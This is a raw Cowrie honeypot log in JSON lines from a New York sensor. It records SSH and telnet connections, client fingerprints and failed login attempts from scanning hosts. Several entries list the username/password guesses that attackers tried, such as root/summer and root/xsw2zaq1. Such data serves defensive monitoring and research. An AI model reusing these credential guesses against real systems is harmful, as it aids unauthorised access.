{"eventid":"cowrie.session.closed","duration":39.47270750999451,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:51.368298Z","src_ip":"192.119.13.58","session":"0c692fab4030","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.1521635055542,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:52.532485Z","src_ip":"192.119.13.58","session":"75da556d16c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":46204,"dst_ip":"10.17.0.5","dst_port":22,"session":"14fa0f4c959e","protocol":"ssh","message":"New connection: 2.57.121.25:46204 (10.17.0.5:22) [session: 14fa0f4c959e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:53.719164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:53.727245Z","src_ip":"2.57.121.25","session":"14fa0f4c959e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:53.828419Z","src_ip":"2.57.121.25","session":"14fa0f4c959e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12qwerty","message":"login attempt [user/12qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:54.305296Z","src_ip":"2.57.121.25","session":"14fa0f4c959e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"124356","message":"login attempt [user/124356] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:55.410992Z","src_ip":"2.57.121.25","session":"14fa0f4c959e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":55208,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab9b9e2b07c7","protocol":"ssh","message":"New connection: 147.45.197.250:55208 (10.17.0.5:22) [session: ab9b9e2b07c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:56.237407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:56.242284Z","src_ip":"147.45.197.250","session":"ab9b9e2b07c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:56.332718Z","src_ip":"147.45.197.250","session":"ab9b9e2b07c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.51417779922485,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:56.345523Z","src_ip":"192.119.13.58","session":"028b8b8694cc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"123sas","message":"login attempt [user/123sas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:56.515196Z","src_ip":"2.57.121.25","session":"14fa0f4c959e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"summer","message":"login attempt [root/summer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:56.608817Z","src_ip":"147.45.197.250","session":"ab9b9e2b07c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12346","message":"login attempt [user/12346] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:57.619439Z","src_ip":"2.57.121.25","session":"14fa0f4c959e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57166,"dst_ip":"10.17.0.5","dst_port":23,"session":"77f3d7f620fd","protocol":"telnet","message":"New connection: 192.119.13.58:57166 (10.17.0.5:23) [session: 77f3d7f620fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:57.636995Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:57.703705Z","src_ip":"147.45.197.250","session":"ab9b9e2b07c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"121291","message":"login attempt [user/121291] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:58.723454Z","src_ip":"2.57.121.25","session":"14fa0f4c959e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.73.108","src_port":42146,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f432723cb5b","protocol":"ssh","message":"New connection: 49.51.73.108:42146 (10.17.0.5:22) [session: 7f432723cb5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:59.605280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:59.608979Z","src_ip":"49.51.73.108","session":"7f432723cb5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:59.676344Z","src_ip":"49.51.73.108","session":"7f432723cb5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:59.827682Z","src_ip":"2.57.121.25","session":"14fa0f4c959e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123456","message":"login attempt [git/git123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:21:59.977722Z","src_ip":"49.51.73.108","session":"7f432723cb5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:01.051356Z","src_ip":"49.51.73.108","session":"7f432723cb5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":53162,"dst_ip":"10.17.0.5","dst_port":22,"session":"71f9e7acc158","protocol":"ssh","message":"New connection: 103.77.175.15:53162 (10.17.0.5:22) [session: 71f9e7acc158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:01.386662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:01.391894Z","src_ip":"103.77.175.15","session":"71f9e7acc158","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:01.647589Z","src_ip":"103.77.175.15","session":"71f9e7acc158","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xsw2zaq1","message":"login attempt [root/xsw2zaq1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:02.423782Z","src_ip":"103.77.175.15","session":"71f9e7acc158","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:03.684379Z","src_ip":"103.77.175.15","session":"71f9e7acc158","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59186,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3fa37404858","protocol":"telnet","message":"New connection: 192.119.13.58:59186 (10.17.0.5:23) [session: a3fa37404858]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:03.953361Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.226.124","src_port":6211,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb0cafb5fadb","protocol":"ssh","message":"New connection: 115.68.226.124:6211 (10.17.0.5:22) [session: eb0cafb5fadb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:05.526858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:05.532288Z","src_ip":"115.68.226.124","session":"eb0cafb5fadb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.01201796531677,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:05.679484Z","src_ip":"192.119.13.58","session":"8193e9dd5dae","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:05.743113Z","src_ip":"115.68.226.124","session":"eb0cafb5fadb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.87256598472595,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:06.395135Z","src_ip":"192.119.13.58","session":"b7add403c3f6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"0okm(IJN","message":"login attempt [root/0okm(IJN] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:06.583285Z","src_ip":"115.68.226.124","session":"eb0cafb5fadb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.77927303314209,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:07.416092Z","src_ip":"192.119.13.58","session":"77f3d7f620fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:07.786338Z","src_ip":"115.68.226.124","session":"eb0cafb5fadb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.39.208.26","src_port":56324,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d33167194dc","protocol":"ssh","message":"New connection: 193.39.208.26:56324 (10.17.0.5:22) [session: 4d33167194dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:08.593148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:08.596967Z","src_ip":"193.39.208.26","session":"4d33167194dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:08.679231Z","src_ip":"193.39.208.26","session":"4d33167194dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jf@123456","message":"login attempt [root/jf@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:09.041936Z","src_ip":"193.39.208.26","session":"4d33167194dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.528749227523804,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:09.046851Z","src_ip":"192.119.13.58","session":"b2d7cc746e1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:10.128419Z","src_ip":"193.39.208.26","session":"4d33167194dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.16998791694641,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:11.052909Z","src_ip":"192.119.13.58","session":"217109d43397","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.81449365615845,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:12.599832Z","src_ip":"192.119.13.58","session":"7419ab8860a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.51032757759094,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:12.989714Z","src_ip":"192.119.13.58","session":"d082fd2284ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.74650835990906,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:16.281164Z","src_ip":"192.119.13.58","session":"25feb2ecf376","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":23332,"dst_ip":"159.203.135.109","dst_port":22,"session":"67eba1d3b819","protocol":"ssh","message":"New connection: 194.59.206.2:23332 (159.203.135.109:22) [session: 67eba1d3b819]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:17.543808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:17.548642Z","src_ip":"194.59.206.2","session":"67eba1d3b819","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:17.648232Z","src_ip":"194.59.206.2","session":"67eba1d3b819","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:17.744251Z","src_ip":"194.59.206.2","session":"67eba1d3b819","protocol":"ssh"}
